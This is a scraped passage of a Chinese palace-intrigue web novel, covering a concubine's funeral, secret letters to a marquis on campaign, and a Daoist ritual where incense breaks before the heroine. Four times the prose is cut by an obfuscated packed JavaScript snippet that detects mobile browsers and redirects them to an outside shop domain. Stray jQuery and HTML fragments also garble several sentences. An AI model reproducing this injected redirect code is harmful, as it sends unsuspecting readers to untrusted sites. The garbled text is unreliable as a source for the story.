利铁交落碰出轻响，剪去烧尽的烛芯，烛火又开始明亮起来。、 抬起眼，和往这边投来视线的女娘对上眼神。 不着痕迹勾了勾唇角，随后放下小剪，站起身，走出房外。 廊下，西院的管事已经候着。 “方姨娘去了，她虽是妾室，但操劳多年，丧事办得体面些罢，”高大夫人沉声吩咐， “备好孝服，庶母新丧，嫣儿霖儿发丧时要戴孝。” 管事恭敬颔首：“奴才明白，都是一早预备下的。” 方氏重病不起开始，棺材都备好了。 说着，管事面色带上犹豫，道：“夫人，嫣姑娘和霖少爷是否要守孝……” 谢文嫣和谢文霖可是从小被方氏带大的。 然而，冷漠的女声下一刻砸了下来：“你也是做事做老了的。怎么，如今糊涂了？” 管事冷汗立刻下来：“夫，夫人……” “嫡子女，哪有给妾室守孝的，让他们给她戴孝一段时日，已是仁义了。”高大夫人侧首，斜睨眼前人。 她这个生母还在，谢文嫣和谢文霖却跑去给方氏守孝三年，算是怎么回事？ 管事擦着汗，连连点头：“是，奴才糊涂了。” 高大夫人收回眼，陈妈妈扶着她，朝院外走去。 -- 中旬之后，西院挂着白，愁云密布。 谢滨身体不支，在灵堂上哭昏了过去，在房中养了几日，终于缓了过来。 高大夫人不大理事，谢文嫣谢文霖戴孝，也没法照顾，只有玉怜脂时时去问。 谢滨清醒之后，才让人叫她。 玉怜脂拎着食盒进屋子里时，谢滨靠在椅上，脸色青白。 “滨叔，”她担忧唤道，“您感觉好些了么？我给您带了药膳，问了大夫，对您身子好的，您多少用一些。” 说着，亲手把食盒里的药膳端出来。 谢滨抹了把脸，笑中有掩饰不掉的苦涩：“……好。” 药膳的香气浓郁，但丧事催人哀，他用了半碗，便吞不下了。 玉怜脂蹙眉：“听陈四管事说，您这几日都不怎么进水米，您病才好起来，这样下去可不行啊。” “方姨要是知道您不爱惜自己的身子，也会难过的。” 谢滨眼中有泪意，深叹着气：“院里的人都好起来了，她怎么就……” 此时安慰之语也无大用，玉怜脂无言坐在一旁，默默陪着。 许久，谢滨擦干净泪，转了话头。 “如今我大好了，再过几日便回官署。”他说道。 玉怜脂眉心轻皱：“这么快？您的身子还虚弱，应当再养养啊。” 谢滨摇头：“病了几月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222573|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，已经不能再拖了。” “你深叔三日前刚到北境，他为了国事连议亲都放下了，我怎好在府里闲下去。” 玉怜脂眼神微闪：“深叔，三日前到的北境？消息准确吗？” “当然是准确的，刚传回朝廷的军报。”谢滨说。 他病好复官，朝里的事情自然开始接触了。 玉怜脂微垂首，眼睛不着痕迹轻眯，一瞬而过。 复又抬起眼，说道：“原来是军报，我还说呢，怎么这样快。这些日子也不知出了什么事，城里驿差传信特别慢。” 谢滨：“怎么?你要传信给谁?” 玉怜脂叹气：“两江春夏多雨，前段日子我便想让苏州那边去查看阿爹阿娘的棺冢，怕有什么闪失，结果光是递出信就花了好几天，一直到现在都没回信。” 她的话音落下，谢滨眉间皱紧。 他是知道京畿戒严是为了什么的。 淑妃案闹得太大，文武百官皆知。 而两江那边…… 他面上闪过犹疑，最后压低声：“怜脂，听滨叔的，最近，还是不要往两江频繁递消息了。” 玉怜脂惊讶道：“您说什么？” 然而谢滨只是摆摆手，讳莫如深：“如今不太平，时候到了，你自然就知道了。” 谢砚深和逸郡王抵达北境的消息传回来的第二天，平武帝忽然下旨，要彻查数月前两江军器监和武库署官员死亡案。 当初两江传回来的消息是，冶铁造兵的地方出了差错，炉工不慎，冶炉接连倒塌，铁水炉渣流出来，灼浇了巡视的官员。 有的当场死亡，有的侥幸存活，却因为伤病太过痛苦，自缢而亡。 此案传回来的时候，刑部承王一党的官员举荐了门下之人往事发之地查案，最后回京定案，只是意外。 现如今，平武帝忽地翻旧账了。 亲指了大理寺新上任的寺正前往两江，一个无根无基的六品小官。 淑妃死后，平武帝行事越发让人琢磨不透。 ——只怕要有大事发生。 谢滨：“朝廷的事尚未有定论，不好尽数同你说，你听滨叔的，滨叔不会害你。” 玉怜脂抿了抿唇，乖巧点头：“是，我都听您的。” 谢滨欣慰笑起来：“好孩子。” … 申时，玉怜脂才出了善启堂。 关嬷嬷扶着她，慢慢走在游廊上、 “让阿姊动一动埋在其他府里的人手，探子也放出去，查一查这两天，朝上出了什么和两江有关的大事。”眼中漠然，压低声。 关嬷嬷垂眸：“明白。” 77.传信 方氏出殡，娘家来了不少人，兄弟姊妹就有六七个，但也不见多悲痛，拿着抚慰银子时，脸上的喜色若不是时候不对，怕是压都压不住。 无所出的妾室死了，侯府不会大办丧仪，至少外面门头不可能为了方氏挂白，只西院独个有。 王老太君差人来问了一句，而后说知道方氏代高大夫人操持大房十年，也是有功，身后事该好好办，但不能太出格，越了规矩。 … 润安堂，后园。 山石阴处，涂漆长案摆于流水之畔，座上铺着透凉的象牙席，案旁两座冰鉴，下人们正取出茶水鲜果。 席案正对不远处，婢女抚琴吹笙，绵绵之音缭绕。 “这园子是又请了工匠修整过了吧，从池子过来只转了个面，竟这样凉爽。”安平伯夫人摇着扇子，笑声。 王老太君笑弯眼：“就你眼尖，这片山石叫人换过了，特地测了合适的地方摆放，用来纳凉确实比从前的好。” 赵庆姗坐在一旁，手里捧着甜果渴水，柔声： “姨母，高嫂嫂和嫣儿霖儿呢？怎么不叫他们来？咱们自家人，一齐坐坐多好。” 提到谢文嫣谢文霖，王老太君的挑了挑眉：“那边如今正忙着呢，不提也罢。” 安平伯夫人眼神疑惑：“……怎么了这是？” 王老太君摆摆手：“不是什么大事，我那个大儿子的妾室过身了，刚发丧不久。” “啊，”安平伯夫人轻叹一声，面上微怔，“原来如此。” 她们是知道方氏的，好歹方氏也把持了大房十年之久。 方氏养了谢文嫣谢文霖这么多年，又是庶母，龙凤胎理应给她戴孝，这样的聚宴确实不宜参加。 赵庆姗放下手中汝窑瓷盏，微倾身：“那玉妹妹呢？她身子若是好些了，也可来同乐啊。” 说着，眼中带上愧疚：“姨母，这段日子我细细想了当时的事，确是哥哥的不对，让玉妹妹受了委屈，我还想代哥哥和她赔礼呢。” 她的话音落下，王老太君面色一变。 眉心皱紧，声音带上些冷：“胡说什么，庆姗，你是什么身份，同她赔礼？你素日心善，但也要看那起子人配不配。” 赵庆姗却依旧面带愧意。 安平伯夫人也应和道：“姐姐，到底沾亲带故的，滨儿认下了她，就是自家孩子，日后抬头不见低头见的……” 王老太君嗤笑一声：“什么抬头不见低头见，难不成她还能在我侯府待上一辈子不成，你这话，说的也忒没理了。” 安平伯夫人劝道：“哪就没理了，那孩子没定下亲事，身子又不好，我瞧着，滨儿和眉湘是想再留她三四年呢，总不能几年都彼此不见面哪。” “三四年？”王老太君不屑，脱口便说，“三四月还差不多。” 安平伯夫人讶异：“三四月？滨儿病才好，已经预备着给那孩子找人选了？” 她们买了消息，说谢滨颇为疼爱玉怜脂，怎么可能短短数月就把她的亲事解决掉，未免草率。 真是出人意料。 她的问落地，王老太君却眼神一厉，随后沉默片刻，只说：“倒也还没开始找人。” 这话一出，席上另外两人又有些听不懂了。 安平伯夫人依旧微笑：“是滨儿太忙了？这也不打紧，我同武亭伯府的李大娘子有些交情，她素爱给人做媒的，不若我去打听打听？” 按理说，王老太君不喜玉怜脂，这种能名正言顺将她弄出府的事情，她是不会不赞成的。 然而她接下来的反应却出乎母女二人的预料。 “……不着急，先留着她一段时日吧。”王老太君沉声说。 话毕，赵庆姗和安平伯夫人的脸色都是骤然有些变化。 赵庆姗眼珠轻转，随即眼神带上些嗔怪，对身旁人道：“母亲，姨母说的对，玉妹妹身子不好，是不能急。” 而后转头朝向王老太君，笑说：“姨母，那等玉妹妹好点了，可否让我带她一同出府游玩啊？您放心，都是和旁府女娘们的小宴，威远伯府的邱四娘，还有骠骑将军府的幺娘，您都还记得吗，她们也在的。” “好歹让我为上次惊吓到玉妹妹弥补一二。” 如今谢砚深出了京，远水可救不了近火，玉怜脂再没给她挡刀挡剑的盾甲了。 但下一刻，她的脸色变得难看。 王老太君面容越发沉了些，又是一阵默然，竟说： “她是个病秧子，不好出府，姨母知道你是好意，但她成日缠绵病榻的……还是罢了吧。” 这回，连安平伯夫人都有些撑不住笑了。 母女二人面面相觑，都从对方眼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232904|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看出了惊疑。 王老太君向后倚了倚，深出口气：“别说那些个扫兴的了，没得败了兴致，来，快尝尝府里厨司新做的冰酪。” 安平伯夫人复又勾唇，笑容温柔：“说的也是。” 赵庆姗微垂首，拿起小金勺，掩在案下的左手紧攥。 -- 翡韵阁。 玉怜脂坐在书案后，手中笔速度缓缓，她身着素白，发髻简单，首饰都是以银为主。 方氏去了，虽然她和她没有亲眷关系，不用披麻戴孝，但于情，也该做足样子。 笔尖提收，她搁了笔，静等着墨迹干透。 片刻，将薄纸叠好。 随后站起身，回步走到窗边，轻推开窗，开了一道只容手臂通过的缝隙，手里捏着信纸，伸出窗外。 手握拳向下，扣了窗沿七下。 不久，一双尽是刀疤的手恭敬接过信纸。 “劳烦了，拿去交给忠伯，让他替我传信给侯爷。”玉怜脂细声说 暗卫声音很低：“遵命。” 瞬时，人影消失。 玉怜脂垂下眸，轻轻关了窗。 一下软倒在贵妃榻上，抽了个软枕抱紧，脸埋进去，整个人都缩起来。 谢砚深给她留这信鸽，也不知道好事坏事。 留下来了，她总得时时传信给他，否则她岂不是不够“痴情”？ 情郎离开，她要倍加想念才对，要常常和他说心事，要在信里肉麻地诉说情思。 这样符合一个恋恋不舍的痴心女娘的模样。 可那些个情话一个个都酸掉牙齿，弄得她下笔都比寻常慢许多，鸡皮疙瘩好像都冒起来了。 ……真是的。 好生麻烦。 -- 汝南，通山大营。 福明站在营帐之外，天空昏黄，望去，火烧层云，甚是壮美。 忽地，耳畔轻动。 一阵熟悉的咕叫钻进耳中。 急忙抬头看去，一道粉灰的小影自远飞来。 速度极快，从映入眼中开始，数秒，一把撞进他的掌心。 福明从鸽子爪上取下信筒，随后放飞。 手里握着东西，兴高采烈跑入帐内。 “侯爷，侯爷！” “姑娘给您来信了——” 78.道人 天色开始转黑，大帐中烛火明亮。 谢砚深装拿起案上的精铁信筒，拔了筒盖，倒出里头叠成小小一卷的薄纸。 徐徐展开。 熟悉的秀丽字迹映入眼帘—— “砚郎爱鉴：见字如晤，常念吾爱万千……冷宵梦醒，孤枕泪湿行云……盼君早归，且记还信以慰相思。” “怜娘亲笔，壬子年巳月廿八。” 信并不长，按往日阅书文的速度，很快就能看完。 但他拿着信，垂眸看了许久。 指尖似有若无，轻轻摩挲信上的墨痕，透过软纸，仿佛能看见写信的人。 烛光摇晃，缱绻柔情渐染冷肃眉间。 “侯爷。”片刻后，帐外忽传来声响。 男人手指倏地一动，将指间信纸折下。 福明掀开帐帘，快步走进来：“大营传报，京城派来的大理寺寺正到了。” “逸郡王殿下已经在主帐候着了，大营里的其他将军应该也收到了消息，逸郡王派人来请您速去。” 说话间提到逸郡王的时候，面容颇有些无奈。 当初从京城出发之后不久，他们侯爷便宣了密旨，要领队调转方向南下。 逸郡王当时就被吓傻了，腿一软，差点从马上摔下来。 原本平武帝突然指他做北境监军就让他几宿几宿地睡不着觉，结果刚出京城，又猛地一下和他说，其实平武帝是让他去两江查更凶险的案子。 傻子都知道这次秘往两江必定是要动刀兵的，他在京城里养尊处优久了，顶多在校场猎场练练骑射，根本没上过战场。 但再怕，还是不可能抗旨。 垂头丧气、硬着头皮一路往南，到了汝南大营，奉旨持虎符调兵。 汝南军兵力强盛，出了名的骄兵悍将，逸郡王夜里入营，那帮汝南将领刚见着他时，知道他是皇子，但根本不将他放在眼中。 这帮武将里头读过书的没几个，大多瞧不起文弱书生，更觉得京城里的皇子都是些富贵闲人，面上尊敬，实则不屑。 一帮大老粗跪地行完礼，刚站起来，眼睛就扫到逸郡王身后刚掀开夜行斗篷遮帽的人。 汝南军里官职最高的几个将领中，有两个是从北境战场上下来的，还有两个受过先镇北侯的提拔，其余的就算与谢氏没有直接的联系，也不可能没听过镇北侯府的威名。 在领头的老将激动叫出“小侯爷”的时候，在场的其他人迅速认出了来人。 之后，调兵便极为顺利了。 只是逸郡王依旧没什么话语权，大事上多由谢砚深做决定。 但逸郡王自己不放在心上，他觉得这样没什么不好的，仗让会打的去打，打不赢赖不着他，打赢了功劳横竖有他一份，妙哉。 所以现在凡有事，立刻让人来请谢砚深。 福明：“侯爷，那个寺正带着陛下的圣旨，一行四五个人都狼狈得很，刚出了京畿一带就遇上了刺杀，一路逃过来的，护卫几乎都折了，他说陛下让他到了汝南便来通山调兵，换人护送他南下。” “刚刚在营帐里见着逸郡王的时候，他还吓得要回京呢。” 谢砚深听着，眉心略皱起，同时长臂朝旁一伸，拿过一个锦盒，把手中信复又卷好，放入锦盒暗格。 随后从椅上站起，铁甲碰撞出沉重清响，大步朝帐外而去。 ———— 转眼便是午月上旬，侯府冬天时派了许多人外出采冰，又从其他地方购置了不少，如今到了暑热的时候，冰窖存量足，各院都不愁冰用。 关嬷嬷指挥下人们置换寝房里的冰，天气热起来了，玉怜脂虽然体寒，但偶尔喝几口微凉的果饮还是不成问题的。 开着门容易泄了凉气，冰鉴里换上新的冰后，关嬷嬷便阖上了门。 身后，女娘窝在小榻上，手里握着一卷书，另一只手捏着小勺，慢慢喝碗里的酸梅汤。 “嬷嬷，”玉怜脂软声叫门边的老妇人，“嬷嬷快过来，喝点梅子汤，消消暑。” “哎。”关嬷嬷应了一声，快步走过去。 她往常做事便动作快，站着舀了一碗，几下就喝完了。 拿着帕子擦净嘴，瞧了眼门外，低声说道：“姑娘，刚刚润安堂那边又来人了，说安平伯府的姨太太和表姑娘邀您去纳凉赏戏，这可是第三回了。” 从上个月月末起，安平伯夫人和赵庆姗每次来侯府，都让人来请玉怜脂去润安堂，说是上回过意不去，邀她再聚。 玉怜脂不紧不慢喝着酸梅汤：“咱们这位王太夫人这么快就顶不住了。” 上回四时园，赵庆吉重伤，导火线是她，出手的是谢砚深。 安平伯府欺软怕硬，表里不一，不敢对谢砚深怎样，心里又难免记恨，还不得把怨气都归在她身上。 面上装的倒好。 谢砚深临走时和她说，骗王老太君的话大概能保她两三月。 但如今这才一个多月，王老太君就被安平伯府的人说动了。 ……真是不中用。 关嬷嬷皱着眉：“姑娘称病，是能搪塞过去这几回，但我看，她们不请到您是不会罢休的。” 玉怜脂拿小勺搅弄碗里紫红汤水，悠哉游哉：“兵来将挡，水来土掩。” “她们可以继续请，请得多了，总会有人去告诉滨叔。” 谢滨很不喜润安堂那边，或许是因为和王老太君有龃龉，连带着安平伯夫人他也厌恶。 如果他知道安平伯府打着润安堂的名号反反复复来扰她，定不会坐视不管。 闹腾一阵，再消停一阵，就又可以过去好些时日了。 横竖现在就是耗时间，如果谢砚深回来之前，安平伯府没能把她怎么样，那等谢砚深回来了，形势可就要变了。 关嬷嬷却没放松神色：“说来也奇怪，怎么安平伯府这样咬着您不放，就算是想给儿子出气，这样急切未免也太明显了些，倒不太像那位伯夫人的作派。” “怕不是，憋着什么坏呢。”眼中警惕。 安平伯夫人是个极能忍耐的妇人，若不然，也赚不到现在的名声。 现在却催命一样来请人，但凡心中有些数的都能察觉到不对劲。 玉怜脂笑起来，轻声安慰：“嬷嬷别担心，她们伤不着我。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13274084|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 谢砚深留下来的那群暗卫和守卫可不是吃素的。 再者，她如今在侯府里除了看账本、没尽头一样等消息，旁的什么都做不了。 要是安平伯府费尽心机、能给她添些乐子，倒也不错。 … 这样的日子又过了十来天，期间，安平伯府那边还是撺掇着王老太君，派人来频频请她小聚。 最后来请的那日，好巧不巧，碰上谢滨休沐，善启堂那头立刻就收到了消息。 谢滨迈进翡韵阁的门，一阵逼问，得知这些日子，润安堂的人竟然一直骚扰玉怜脂，二话不说就出了院门，跟着来通传的婢子去了润安堂。 不知在那边说了些什么，只瞧见他回来的时候脸色黑得要命。 玉怜脂等在厅里，见他进来，脸色都因为担忧哭泣而苍白：“滨叔……太夫人她……” 谢滨看见她惶惶不安的样子，眼里顿时心疼：“怜脂，别怕，往后润安堂那边不会再来了。” 玉怜脂却哭道：“都是我的错，滨叔别和太夫人置气，为了我不值当的，若伯夫人再来，我去就是了。” “什么不值当！”谢滨立时怒道，“往后不准这样说。” 末了，又摇了摇头，尽量温和：“你这孩子，就是脾性太软，那边来人扰了你这么久，你竟然不同我说，就这么忍着，先前你答应我什么，都忘了？” 女娘站在桌边，垂首抽泣着，肩头微微颤抖，委屈，可怜。 谢滨泄了气，只得无奈：“可不许再这样了。” 玉怜脂擦着眼泪，轻轻点头：“……好。” … 这一遭过去，润安堂那边总算消停了，一连安静了大半个月。 似乎是被谢滨下面子下狠了，安平伯夫人和赵庆姗这段时日也不再经常入侯府。 反倒换作王老太君时不时乘车出门，似乎是去云山观拜真人。 申月上旬，王老太君如往常一样，傍晚从云山观回到府中。 入夜，竟忽然急病。 和先前一样，查不出病因，却比上次凶险得多。 人昏死过去，府里大夫一连诊治了三天，又请了一位太医前来，才将将清醒。 然而病因找不出，病根去不掉，病情反反复复。 谢文嫣谢文霖跟着谢滨去润安堂探望，谢文嫣回来说，王老太君整个人消瘦了一大圈，病得很严重。 医官一群群地请进府，都毫无进展。 在侯府准备再多请几位太医、谢滨决定准备传信谢砚深的时候，安平伯夫人竟然请来了云山观的监院清晖道人。 医道同源，清晖道人道医之名极盛，所炼丹药千金难求。 这一回愿意入侯府为王老太君诊治，简直难以置信。 而清晖道人的盛名也不是作假，四五日后，王老太君的病情竟然有了好转。 随后，润安堂派人知会西院，说府里有东西冲了王老太君，所以才会一病不起。 王老太君应清晖道人的要求，要在府里大办一场法事，去除晦气、病气、邪气。 府里的主子们，有一个算一个，抬也要抬到场。 79.妖言 药壶底被灼得隐隐发红，火星时不时窜出，跳动闪烁。 紫砂盖掀开，白汽蒸腾扑面，又顷刻散淡，棕黑药汁咕咚翻滚着。 青袍老道站在炉前，小臂悬于上，口中快速轻念，而后指间一松，黄符落入紫砂壶内。 薄纸飘荡水面，瞬间浸黑，融进药汤里。 旁边守着的婆子连忙上前，盖好药壶。 “再过一刻，符水便成，端与太夫人服下。”清晖道人抚着白胡，沉声吩咐。 婆子恭敬道：“是。” … 屋里里里外外都站了人，但不挤乱，秩序严定，无人敢私语，只有八扇屏风之后的寝间有声响。 空药碗搁回托盘的当啷脆响过后，大丫鬟端着东西垂首快步走出。 到了屏风外的珠帘处伸手递交出去，后头也是一个交一个，好容易才将东西从主屋又送回院里小药房。 王老太君靠坐着，手臂搁在凭几，手掌伸出床帘，掌心向上放松，腕间垫着一块薄纱。 老道坐在床边，面色严肃。 许久，清晖道人收回压在她腕上的三指。 “道长，姨母如何了？可是快大好了？”赵庆姗在一旁站着，见他切完脉，连忙问道。 “庆姗。”安平伯夫人也坐着，皱着眉回头瞪她一眼， “问医如何能急，不可无礼。” 清晖道人抬眼看向对首站着的年轻少女，少顷，眼里不可察地多出些慈和。 摆了摆手：“无妨。” 又道：“太夫人如今气血已经恢复了些，但病根不除，难以康复。” 王老太君咳喘两声，声音虚弱：“道长，老身已经让人去准备法事了，法事过后，是否便能解决掉冲撞之物？” 清晖道人敛眉，肃声：“太夫人，恕贫道直言，法事只能作指引之用，不能消去太夫人病根。” 王老太君急道：“那如何才能除去病根？” 清晖道人：“岐伯曰，心者，五脏六腑之主也，故悲哀忧愁则心动，心动则五脏六腑皆摇。为太夫人诊脉的第一日，贫道便说过，您的病，不单单只是身病，若只是身病，药石可治，而若是由心引动的心病，便需除了心根，才可无忧。” “所谓冲撞，并非是故弄玄虚，人食五谷杂粮，心生七情六欲，情志受害，身体便随之不安，日积月累，进而罹患重疾。” “如今虽然法事未开，但太夫人自己细想梳理一番，找到病前多番引动心绪不宁的事、物、地、人，或许也有线索。” 王老太君听着，手慢慢攥紧，眯起了眼。 心病之根。 都无需细想，她心中瞬间便有了计较。 现在这府里头，让她屡屡不安，大动肝火的病根，就那一个。 安平伯夫人摇着扇子，瞥了一眼床帘内沉默的王老太君，而后轻移，与对面之人交接。 细眉轻挑。 清晖道人抿了抿唇，又开口：“太夫人，明日府中与您命缘联结较深的人都要在午时到场，法坛开后，还请诸位亲供香烛，如此，更易确定冲撞之物。” “只要找出冲撞您的事物，去其阴气，或将之请走，太夫人便远离了病根，之后加以调养，定能趋吉避凶，痊愈大好。” 王老太君面色阴沉，眉压得极低：“那便有劳道长了。” —— 西院。 巳时中，还有半个时辰便到午时了。 玉怜脂走进正厅，谢滨和高大夫人坐在上首，脸色都不大好看，谢文嫣谢文霖还没到，这个时候他们还在教书先生那里，应当准备下学。 “滨叔，婶婶。”规矩欠身行礼。 谢滨见她进来，朝她招手：“你呀，一家人行什么礼，快坐。” “好。”玉怜脂点点头，在左侧红木椅坐下。 等她坐好，谢滨眉心蹙紧，开口道： “怜脂，待会儿去了那边，你只管跟着我和你婶婶，站得后头些，不论太夫人、安平伯夫人和那清晖道人说些什么，你都不要作声，自有我和你婶婶在，明白了吗？” 玉怜脂抬起头，看了看他，又望向另一侧面无表情的高大夫人，眨了眨眼。 后者看见她望过来，脸有些黑，呼出口气，点头。 玉怜脂收回眼，乖巧颔首：“我都记下了，一定不多话。” 谢滨眼里浮出满意，但神色还是不快。 他那位嫡母，听了安平伯夫人请来的清晖道人之言，一定要做场法事。 先前去润安堂的时候，王老太君正重病在床，起不来身，说做这场法事，是想要驱邪祈福，求神灵与祖宗，保佑她病好得快一些。 嫡母大病，只是想在府里做个法事，让子孙到场瞧一瞧，尽管他不喜怪力乱神，也实在没有强行拒绝的理由。 即便是谢砚深在这里，也说不出王老太君有什么不是。 但，他确定此事不会这么简单 因为这件事是安平伯夫人促成的。 这个妇人，就是一条毒蛇。 他那嫡母蠢得无可救药，被安平伯夫人哄了这么多年，全然不知道自己早就引狼入室。 ……当年他亲娘临死前的遗言，他埋在心里半辈子，时刻不敢忘记。 他本不想答应带妻儿还有玉怜脂去法事场，可是孝道压在上头，王老太君身后又是晋阳王氏，只能答应。 谢滨抬手抚在额上，眼神晦暗。 过了一刻钟，下人进来通传，谢文嫣谢文霖回到了。 门口轿子已经等着，谢滨先站起身，朝外走去。 高大夫人由婆子扶着，也缓慢从椅上起来，准备跟着出去。 “我来扶着婶婶吧。”女娘的声音在旁侧响起。 高大夫人皱眉，看向移步到身旁的人。 玉怜脂面色柔和，扶住她另一边手，轻声说：“婶婶，我们走吧？” 另一侧的陈妈妈咽了咽口水，她也是知道眼前这位的真面目的，兰形棘心，可怕得很。 高大夫人眯起眼，眼神几变，最后沉默了。 陈妈妈见她反应，识相退开。 玉怜脂笑起来，扶着人往外走，亲密地贴近她，絮絮叨叨： “婶婶，从前我在江南时，有道士给我批命，说我八字太轻，最见不得那些脏东西了，一个不小心就会被惊吓到。” “等会儿不管发生了什么，婶婶可都要和我站在一起，陪着我，不然我会害怕的。婶婶还不知道吧，我悄悄同您说，我最近一害怕，就会整宿睡不着觉，还会说梦话呢。” 语气十分认真，仿佛和身边的人真是最亲的婶侄，此刻掏着心窝子说秘密。 高大夫人耳下连着下颌的地方绷得极紧，嘴角和鼻翼侧端微微抽搐。 身旁女娘的眼神却一如既往地清澈，继续小声说： “婶婶知道说梦话吗？说梦话呀，就是梦里头什么真的假的全都胡乱抖出来，该说的不该说的嘴上全没个把门。” “婶婶，你说，是不是很吓人？” 高大夫人停住脚步，偏过头死死盯着右侧扶她手臂的人。 玉怜脂面露疑惑：“婶婶，怎么了？” “……没什么。”片刻，高大夫人扯起一个皮肉分离的笑，咬牙切齿，“被吓到了而已。” 玉怜脂连忙给她抚背，急急认错：“诶呀，都是我不好，吓着婶婶了。” 末了，柔声安慰：“只要滨叔和婶婶都站在我身边，我就不会梦魇、乱说梦话的，婶婶，别怕。” 面色真切，握紧了女人的手。 对视许久，高大夫人转回僵着的脸，接着朝前走去。 … 科仪要择地筑坛，清晖道人仔细挑选，最后，把法坛定在了春季时刚修整过、用来办花会的飞红园。 飞红园占地广，里头一大片林子，还有流水贯通其中，每日都有匠人细心养护，风景极好。 日光灼人，西院众人入园时，下人们乌压压在外侧围着，走到园中心，三层法坛已经垒好，神像威严，座下法桌之上置放香炉、五供、法器，两侧华幡高挂，威仪庄严。 老道氅衣飘逸，立于坛前，单看背影，颇有几分鹤骨松姿的意味。 他身后还站着数十名年轻道士，站位似乎也有讲究，俱是肃静以待。 另一头，王老太君坐在主椅上，果如谢文嫣先前所说，病得严重，整个人瘦了一大圈。 在她旁边坐着的两人，自然便是安平伯夫人和赵庆姗。 谢滨和高大夫人走在最前面，玉怜脂和龙凤胎并排走在后头。 香火烟气飘入鼻中，谢文嫣不适地捂着唇轻咳两下。 谢文霖担忧看她：“嫣儿，还好吗？” 谢文嫣左手拿着团扇，用些力扇起来：“咳！好呛！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313874|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>玉怜脂也用扇子尽量驱散浓郁的香火气味，低声说：“暂且忍一忍，很快就过去了。” 说话间，一行人到了王老太君跟前。 “母亲，姨母。”谢滨和高大夫人行礼。 王老太君身旁的赵庆姗站起身：“见过大表哥，表嫂。” 长辈的礼仪结束，谢文嫣谢文霖紧随其后，上前：“祖母，姨祖母，表姑。” 四人完毕后，才到最后的玉怜脂 垂首恭敬道：“太夫人，伯夫人慈安，赵小姐妆安。” 她虽然头低着，入眼只有交错有致的石子地，但刮在她身上的三道锐利视线几乎要化为实质，无法忽视。 但这样的状况没有持续下去，一道高瘦身影一步踏过来，挡在她身前，另外两只小手悄悄把她往后拉。 谢滨面色凝重，朝王老太君拱手： “母亲，午时将到，若要祈福驱病，便快开始吧，您身子不好，应当在房中多加修养才是。” 王老太君视线被阻断，眯起眼，眼神更加冰冷。 漠然看着他，而后开口：“急什么？” “只要今日能除病根，我自然大好，用不着你来教训我老婆子如何行事。” 谢滨脸色更差：“母亲，儿子不是这个意思……” “行了！”王老太君不耐烦地摆手，“一切跟从清晖道长的指引，无需你多话，坐着罢。” 谢滨欲言又止，高大夫人扯了扯他的衣袖，他呼出口气，最后带着人入座。 科仪流程繁杂，玉怜脂端坐在椅上，望着不远处极尽严肃神密的种种情状。 道士们的步伐时而轻盈灵动，时而沉稳如山，步法奇异，应当是传闻中的踏罡步斗。 手中掐诀念咒，经咒细密却又异常整齐的声音传来，竟有一种让人不由心生肃敬的感染力。 一直到午时末，法事才快走到末尾。 此时，清晖道人面朝侯府众人所在之处，沉声道： “请诸位敬香。” 众人闻言，纷纷起身。 论辈分、身份，玉怜脂都只能是最后一个。 前面一轮一轮的香敬完，终于到她了。 王老太君领着众人，都未离去，站在法桌边。 老妇人盯着她，眼中是难以掩藏的深疑。 玉怜脂目不斜视，走到法桌旁，一旁的小道童递上三根香。 她垂首看着手上的香，柳眉难察地微微轻挑。 随后不紧不慢上前，点燃三根香，轻晃去细香尖端火苗。 将香插入炉中后，跪在蒲团上。 俯身下去，深深跪拜。 然而她第一拜还未起身，四周传来惊呼—— “香！香断了！！” 玉怜脂顿了顿，抬起身时，面上已经尽是慌乱，看向法桌上的香炉。 炉中，三根拦腰折断的香显露眼前。 她脸色骤然惨白，仓惶看向左侧，视线尽头，谢滨面露怒容，眼神竟像是朝着安平伯夫人。 赵庆姗扶着王老太君，惊叫着： “好好的香怎么会突然断掉，今日科仪可是为姨母去病祈福的，这，这是怎么回事……” 而王老太君的面色已经铁青，眸含厉光，狠狠刺向跪地的女娘。 